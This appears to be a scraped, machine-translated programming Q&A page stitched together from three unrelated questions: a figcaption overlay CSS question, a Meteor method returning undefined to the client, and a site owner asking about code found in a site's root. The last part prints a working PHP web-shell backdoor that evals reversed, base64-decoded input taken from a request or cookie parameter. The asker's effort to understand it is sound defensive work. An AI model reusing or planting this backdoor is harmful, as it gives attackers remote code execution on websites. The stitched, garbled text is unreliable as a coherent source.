<figure>
<img src="http://lorempixel.com/x/x" alt="figure">
<figcaption>Nam elementum non massa at mattis.</figcaption>
</figure>
Run Code Online (Sandbox Code Playgroud)
我正在创建一个CSS文件,并希望在图像顶部放置100%宽度和半透明背景颜色的figcaption,但我希望figcaption框的底部和图像的底部始终是无论使用什么图像都一样.
我在客户端上有这个代码:
var Checklist = {
title: this.title,
belongs_to: this.belongs_to,
type: this.type,
items: this.items
};
Meteor.call(
'create_checklist',
Checklist,
function(error,result){
console.log('error',error,'result',result);
// if(!error) {
// Router.go('/checklist/'+response);
// }
}
);
Run Code Online (Sandbox Code Playgroud)
这在服务器上:
create_checklist: function(Checklist) {
Checklists.insert(
{
title: Checklist.title,
belongs_to: Checklist.belongs_to,
type: Checklist.type,
items: Checklist.items
}, function(error,id){
console.log(error,id);
if(id) {
return id;
} else {
return error;
}
}
);
},
Run Code Online (Sandbox Code Playgroud)
在创建核对表时,Meteor.call会将信息成功传递给服务器.我可以在服务器控制台中看到新核对表的ID.但是,客户端只能看到undefined错误和结果.
我在客户端站点的根目录中找到了此代码.我解密它意味着以下内容:
$brownies = create_function( ' ', eval(array_pop(func_get_args())); );
$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););
Run Code Online (Sandbox Code Playgroud)
看起来它正在从cookie或用户那里获取代码并对其进行评估,但我无法从那里进一步说明.
有人对此有所了解吗?